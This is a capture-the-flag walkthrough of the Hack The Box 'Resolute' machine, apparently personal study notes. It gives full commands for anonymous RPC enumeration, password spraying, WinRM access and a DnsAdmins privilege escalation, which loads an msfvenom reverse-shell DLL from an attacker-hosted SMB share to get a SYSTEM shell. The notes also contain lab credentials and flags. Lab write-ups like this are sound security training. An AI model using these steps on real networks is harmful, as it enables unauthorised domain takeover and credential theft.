

45 HTB Resolute

Objectives:

1. **RPC** Enumeration - Abusing querydispinfo
 2. CrackMapExec **SMB** Authentication Spraying
 3. Abusing WinRM - EvilWinRM
 4. Information Leakage
 5. **LOLBAS**
 6. Abusing DnsAdmins Group - dnscmd [Privilege Escalation]
 7. Creating a malicious **DLL** and injecting it into the dns service

1. **locate NSE script NMAP**

```
1. locate .nse | xargs grep "categories" | grep -oP '"\.*?"' | sort -u
"auth"
"broadcast"
"brute"
"default"
"discovery"
"dos"
"exploit"
"external"
"fuzzer"
"intrusive"
"malware"
"safe"
"version"
"vuln"
```

2. **looks like he is going to try an interesting .NSE combo which is "broadcast and fuzzer". This makes the nmap scan like a FUZZER because there is not a website to FUZZ. This is most likely a Domain Controller. Acting as a DNS server and LDAP authentication server etc..**

```
1. nmap --script "broadcast and fuzzer"
```

- #pwn_rpcclient_nullsession_HTB_Resolute
3. **We are able to login using RPCCLIENT as a nullsession**

```
~/hackthebox/resolute > rpcclient -U "" 10.10.10.169 -N
```

- #pwn_RID_clean_up_script_RPCCLIENT_output
 - #pwn_RPCCLIENT_output_clean_up_script
4. **How to clean up RPCCLIENT enumeration output of RiDs.**

```
~/hackthebox/resolute > cat rpc_rid | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[' > users
```

5. **GetNPUsers.py script using the users file**
6. **Before running GetNPUsers.py he runs crackmapexec.**

```
1. crackmapexec smb 10.10.10.169
2. I wasn't able to gain any info I didn't already know
3. (.venv) ~/.cmegit/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.169
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local)
(signing:True) (SMBv1:True)
```

7. **OK, now we run GetNPUsers.py on the users file we exfiltrated with the command enumdomusers.**

```
1. GetNPUsers.py megabank.local/ -no-pass -usersfile users
```

8. **He goes back to rpcclient to run enumdomgroups.**

```
~/hackthebox/resolute > rpcclient -U "" 10.10.10.169 -N
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
```

```
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Contractors] rid:[0x44f]
```

9. In **RPCCLIENT** to specify group members or members of a group use `querygroupmem` command

```
1. ~/hackthebox/resolute > rpcclient -U "" 10.10.10.169 -N -c 'querygroupmem 0x200'
2. Group we just queried was the Domain Admins group. Now we will use the rid of the Domain Admins Group (which
   is 0x1f4) that we just queried to query the details of the members of this group
3. ~/hackthebox/resolute > rpcclient -U "" 10.10.10.169 -N -c 'querygroupmem 0x200'
   rid:[0x1f4] attr:[0x7]
4. ~/hackthebox/resolute > rpcclient -U "" 10.10.10.169 -N -c 'queryuser 0x1f4'
.....
User Name      : Administrator
Full Name      :
Home Drive     :
Dir Drive      :
Profile Path    :
Logon Script    :
Description    : Built-in account for administering the computer/domain
Workstations    :
Comment        :
Remote Dial     :
Logon Time      : Fri, 13 Oct 2023 09:17:59 CST
Logoff Time     : Wed, 31 Dec 1969 18:00:00 CST
Kickoff Time    : Wed, 31 Dec 1969 18:00:00 CST
Password last set Time : Fri, 13 Oct 2023 23:04:03 CST
Password can change Time : Sat, 14 Oct 2023 23:04:03 CST
Password must change Time: Wed, 13 Sep 30828 20:48:05 CST
unknown_2[0..31]...
user_rid       : 0x1f4
group_rid      : 0x201
acb_info       : 0x00000210
fields_present : 0x00ffffff
logon_divs     : 168
bad_password_count: 0x00000000
logon_count    : 0x00000057
padding1[0..7]...
logon_hrs[0..21]...
```

10. To query a list of descriptions using **RPCCLIENT** use the following command. The reason you should always do this command is because you could find sensitive data in the descriptions.

```
1. rpcclient -U "" 10.10.10.169 -N -c 'querydispinfo'
.....
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for
administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claudes Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by
the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access
to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service
Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password
set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
```

```
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simo Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
2. SUCCESS, we have found credentials for 'Marko Novak' .password is 'Welcome123!'
```

Password Spray using CME

- #pwn_password_spray_using_CME
- #pwn_CME_password_spray_HTB_Absolute

11. Now that we have a users list and a password we should make sure this password is for Marko Novak as it could be a password for another user or account.

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✓) ▸ crackmapexec smb 10.10.10.169 -u ~/hackthebox/resolute/users -p 'Welcome123!' --continue-on-success
2. SUCCESS, as suspected the password is not for Marko Novak the password is valid for Melanie.
3. [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
4. [+] megabank.local\melanie:Welcome123!
5. Administrators will sometimes do this. They think if they leave a password unsecured without encryption for someone else account that any employee snooping or hacker will not know what account the password is for, but with these techniques you are able to exfiltrate all the names in a Domain. Then you can password spray (depending no AV, or fail2ban script does not block you) and match a random password to a specific user.
```

12. Lets validate Melanie with CrackMapExec.

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✓) ▸ crackmapexec smb 10.10.10.169 -u 'melanie' -p 'Welcome123!'
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True)(SMBv1:True) SMB 10.10.10.169 445 RESOLUTE '[+] megabank.local\melanie:Welcome123!'
2. You should see a green plus sign showing that the credential melanie:Welcome123! is valid.
```

13. Lets go back to rpcclient and try to enumerate the Melanie user see what we can find.

```
1. rpcclient -U "" 10.10.10.169 -N -c 'enumdomusers'
2. Here is the rid for Melanie, user:[melanie] rid:[0x2775]
3. Now use the 'queryuser rid#' to query melanie using her rid number
4. rpcclient -U "" 10.10.10.169 -N -c 'queryuser 0x2775'
5. Now we can see the group_rid for Melanie is 0x201 if you run a query for 'enumdomgroups' you will see this is the group [Domain Users].
6. user_rid : 0x2775
   group_rid: 0x201
7. rpcclient -U "" 10.10.10.169 -N -c 'enumdomgroups'
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
'group:[Domain Users] rid:[0x201]'
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
8. She is only a part of the Domain Users Group but we can use this to gain a shell at least and then escalate to a more privileged user.
```

14. He wants to find out if melanie is a part of the Remote Management Users Group. If she is then we can use Evil-WinRM with the winrm flag to winrm into a shell session. The easiest way to find out is just to run CrackMapExec with the winrm flag. Since we have validated that her credentials are good with CrackMapExec. Of course port 5985 OR 5986(secure) must be open if not there is no point in trying to use Evil-Winrm in the first place.

```
(.venv) ~/.cmegit/CrackMapExec (master ✓) ▸ crackmapexec winrm 10.10.10.169 -u 'melanie' -p 'Welcome123!'
SMB 10.10.10.169 5985 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE)
(domain:megabank.local)
HTTP 10.10.10.169 5985 RESOLUTE [*] http://10.10.10.169:5985/wsman
WINRM 10.10.10.169 5985 RESOLUTE [+] megabank.local\melanie:Welcome123! .Pwn3d!
```

Random Tangent

15. It is good to know alternatives to Evil-Winrm like rwinrm and pywinrm, just incase the OSCP bans it's use in the exam. Which to me would be a bit extreme since Evil-Winrm is only for port 5985 and it is not always open or in use like say port 445. It isn't as common.

Initial-Foothold

Evil-Winrm with Melanie

16. Lets *winrm* in with Melanie since we have verified using *crackmapexec* that she is a part of the Remote Management Users Group.

```
1. ~/hackthebox/resolute > evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'
```

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\melanie\Documents> type C:\Users\melanie\Desktop\user.txt

9857088bffb9ed692b98bc0b9b9b73ea

user.txt **flag**

17. We can now verify if Melanie is a part of *Remote Management Users Group* by doing a net user command.

```
1. *Evil-WinRM* PS C:\Users> net user melanie
User name                melanie
Full Name
Comment
'Users comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never

Password last set        10/14/2023 12:38:02 AM
Password expires         Never
Password changeable      10/15/2023 12:38:02 AM
Password required         Yes
User may change password Yes

Workstations allowed      All
Logon script
User profile
Home directory
Last logon                Never

Logon hours allowed       All

Local Group Memberships   '*Remote Management Use'
Global Group memberships  *Domain Users
The command completed successfully.'
```

18. We need to elevate privileges from here. I tried to access Administrator and we do not have access. I do a net user on Ryan and see that he is a member of the *contractors* group.

```
*Evil-WinRM* PS C:\Users> net user ryan
.....
Global Group memberships   *Domain Users          *Contractors
```

19. Lets try to get a shell with Ryan. For that we will need to do an enumeration on this box to see if we can find something that will help us get that shell.

```
1. cd into C:\
2. *Evil-WinRM* PS C:\> dir
PerfLogs
Program
Program
Users
Windows
4. Seems very sparse lets try -Force
5. *Evil-WinRM* PS C:\> dir -Force
6. PSTranscripts, this looks interesting lets cd into it
7. *Evil-WinRM* PS C:\> cd PSTranscripts
8. *Evil-WinRM* PS C:\PSTranscripts> dir
9. *Evil-WinRM* PS C:\PSTranscripts> dir -Force
20191203, this is directory. So far I have to keep using -Force for everything that is a clue to me that I am
probably on to some sensitive data
10. *Evil-WinRM* PS C:\PSTranscripts\20191203> dir -Force
Mode                LastWriteTime         Length Name
----                -
-arh-- 12/3/2019:6:45 AM          3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
11. Jackpot, well I do not know for sure if it is a jackpot but it looks interesting.
```

20. Enumerating the Powershell_transcript<snip>.txt.

```
1. *Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
2. I think we found some creds here ryan:Serv3r4Admin4cc123!
```

21. Lets validate the credential with CrackMapExec as allways

```
(.venv) ~/.cmegit/CrackMapExec (master ✓) ▸ crackmapexec smb 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
SMB      10.10.10.169      445      RESOLUTE      [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE)
(domain:megabank.local) (signing:True) (SMBv1:True)
SMB      10.10.10.169      445      RESOLUTE      [+] megabank.local\ryan:Serv3r4Admin4cc123! .Pwn3d!
```

22. Wow, we got admin right away., but this is just a local administrator we still need to elevate to Domain Admin. Lets evil-winrm into the box with ryan

```
1. ~/hackthebox/resolute ▸ evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
2. *Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan
```

23. With ryan user we find a note on the desktop note.txt

```
1. *Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically
reverted within 1 minute
Ruby
```

24. Lets continue to enumerate ryan

```
1. *Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /all
2. ryan is a part of this interesting group
3. MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101
4. *Evil-WinRM* PS C:\Users\ryan\Desktop> net localgroup
*DnsAdmins
5. *Evil-WinRM* PS C:\Users\ryan\Desktop> net localgroup DnsAdmins
Members
-----
Contractors
6. So the contractors group is a member of DnsAdmins group??? Confusing
7. The reason is that the contractors group has rights to the DnsAdmins group so that they can perform their
work. Now I understand.
```

LOLBAS

- #pwn_LOLBAS_knowledge_base
- #pwn_LIVING_OFF_THE_LAND_knowledge_base

25. I have been wanting to come across more privilege escalation using LOLBAS (Living Off the Land Binaries). LOLBAS is simply a methodology of hacking using Windows own builtin or extra tools to own the domain. Very cool

```
1. LINK https://lolbas-project.github.io/#
2. Search for DNS
3. Click on Dnscmd.exe
4. This is the payload we need to edit
5. dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
6. dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\ninjafolder\pwned.dll
7. Basically we just got rid of the website. I do not know even how to use the website for this command. Anyway,
the rest is pretty much the same. This exe is going to execute pwned.dll which will be an MSFVENOM reverse shell
as Domain Administrator.
8. Found this explanation as to what the payload is doing.
9. Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that
is 'at least a member of the DnsAdmins group'. Sounds like our situation lets try it.
```

26. MSFVENOM Reverse Shell

```
1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o pwned.dll
2. ~/hackthebox/resolute ▸ chmod 755 pwned.dll
3. I do not think you need to chmod it to 755 but why not
```

27. Set up an smbserver. I always set up mine with ninjafolder. I also had a feeling he was going to use smbserver.py.

```
1. ~/hackthebox/resolute ▸ sudo smbserver.py ninjafolder $(pwd) -smb2support
2. ~ ▸ sudo rlwrap -cAr nc -nlvp 443
3. *Evil-WinRM* PS C:\Users\ryan\Desktop> dnscmd.exe /config /serverlevelplugindll
\\10.10.14.5\ninjafolder\pwned.dll
.....
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

```
4. We have nothing downloading or uploading our payload from the smbserver in order to do this we need to stop and start DNS
5. *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10    WIN32_OWN_PROCESS
        STATE                : 3     STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE       : 0     (0x0)
        SERVICE_EXIT_CODE   : 0     (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0

5. To stop and start it we need to do it quickly if not DNS will auto restart in a minute. So do the following commands in quick succession with your listener on 443 and smbserver set up correctly and then the following 3 commands in quick succession.
6. *Evil-WinRM* PS C:\Users\ryan\Desktop> dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\ninjabfolder\pwned.dll
7. *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns
8. *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe start dns
9. Pwn3d! We are now System.
```

Pwn3d NT AUTHORITY SYSTEM

28. **PWNED**

```
~ > sudo rlwrap -cAr nc -nlvp 443
[sudo] password for pepe:
Listening on 0.0.0.0 443
Connection received on 10.10.10.169 65181
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
e0b2155d8a58e1cc16245da7033d3ad3
```